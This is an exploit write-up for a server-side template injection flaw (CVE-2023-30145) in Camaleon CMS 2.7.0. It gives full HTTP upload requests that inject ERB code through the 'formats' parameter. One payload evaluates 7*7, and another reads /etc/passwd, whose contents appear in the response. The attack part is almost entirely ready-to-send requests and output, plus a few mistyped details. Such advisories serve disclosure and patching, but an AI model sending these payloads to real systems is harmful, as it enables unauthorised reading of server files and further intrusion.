Camaleon CMS 2.7.0 Server-Side Template Injection

`Exploit Title: Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)  
Exploit Author: PARAG BAGUL  
CVE: CVE-2023-30145  
  
## Description  
Camaleon CMS v2.7.0 was discovered to contain a Server-Side Template  
Injection (SSTI) vulnerability via the formats parameter.  
  
## Affected Component  
All versions below 2.7.0 are affected.  
  
## Author  
Parag Bagul  
  
## Steps to Reproduce  
1. Open the target URL: `https://target.com/admin/media/upload`  
2. Upload any file and intercept the request.  
3. In the `formats` parameter value, add the payload `test<%= 7*7 %>test`.  
4. Check the response. It should return the multiplication of 77 with the  
message "File format not allowed (dqopi49vuuvm)".  
  
##Detection:  
  
#Request:  
  
POST /admin/media/upload?actions=false HTTP/1.1  
Host: target.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101  
Firefox/102.0  
Accept: /  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://target.com/admin/profile/edit  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data;  
boundary=---------------------------327175120238370517612522354688  
Content-Length: 1200  
Origin: http://target.com  
DNT: 1  
Connection: close  
Cookie: cookie  
  
-----------------------------327175120238370517612522354688  
Content-Disposition: form-data; name="file_upload"; filename="test.txt"  
Content-Type: text/plain  
  
test  
  
-----------------------------327175120238370517612522354688  
Content-Disposition: form-data; name="versions"  
  
-----------------------------327175120238370517612522354688  
Content-Disposition: form-data; name="thumb_size"  
  
-----------------------------327175120238370517612522354688  
Content-Disposition: form-data; name="formats"  
  
test<%= 7*7 %>test  
-----------------------------327175120238370517612522354688  
Content-Disposition: form-data; name="media_formats"  
  
image  
-----------------------------327175120238370517612522354688  
Content-Disposition: form-data; name="dimension"  
  
-----------------------------327175120238370517612522354688  
Content-Disposition: form-data; name="private"  
  
-----------------------------327175120238370517612522354688  
Content-Disposition: form-data; name="folder"  
  
/  
-----------------------------327175120238370517612522354688  
Content-Disposition: form-data; name="skip_auto_crop"  
  
true  
-----------------------------327175120238370517612522354688--  
  
#Response:  
  
HTTP/1.1 200 OK  
Content-Type: text/html; charset=utf-8  
Connection: close  
Status: 200 OK  
Cache-Control: max-age=0, private, must-revalidate  
Set-Cookie: cookie  
Content-Length: 41  
  
File format not allowed (test49test)  
  
#Exploitation:  
  
To execute a command, add the following payload:  
testqopi<%= File.open('/etc/passwd').read %>fdtest  
  
Request:  
  
POST /admin/media/upload?actions=true HTTP/1.1  
Host: target.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101  
Firefox/102.0  
Accept: /  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://target.com/admin/media  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data;  
boundary=---------------------------104219633614133026962934729021  
Content-Length: 1237  
Origin: http://target.com  
DNT: 1  
Connection: close  
Cookie: cookie  
  
-----------------------------104219633614133026962934729021  
Content-Disposition: form-data; name="file_upload"; filename="test.txt"  
Content-Type: text/plain  
  
test  
  
-----------------------------104219633614133026962934729021  
Content-Disposition: form-data; name="versions"  
  
-----------------------------104219633614133026962934729021  
Content-Disposition: form-data; name="thumb_size"  
  
-----------------------------104219633614133026962934729021  
Content-Disposition: form-data; name="formats"  
  
dqopi<%= File.open('/etc/passwd').read %>fdfdsf  
-----------------------------104219633614133026962934729021  
Content-Disposition: form-data; name="media_formats"  
  
-----------------------------104219633614133026962934729021  
Content-Disposition: form-data; name="dimension"  
  
-----------------------------104219633614133026962934729021  
Content-Disposition: form-data; name="private"  
  
-----------------------------104219633614133026962934729021  
Content-Disposition: form-data; name="folder"  
  
/  
-----------------------------104219633614133026962934729021  
Content-Disposition: form-data; name="skip_auto_crop"  
  
true  
-----------------------------104219633614133026962934729021--  
  
Response:  
  
Response:  
  
HTTP/1.1 200 OK  
Content-Type: text/html; charset=utf-8  
Connection: close  
Status: 200 OK  
Set-Cookie: cookie  
Content-Length: 1816  
  
File format not allowed (dqopiroot:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
fdfdsf)  
  
`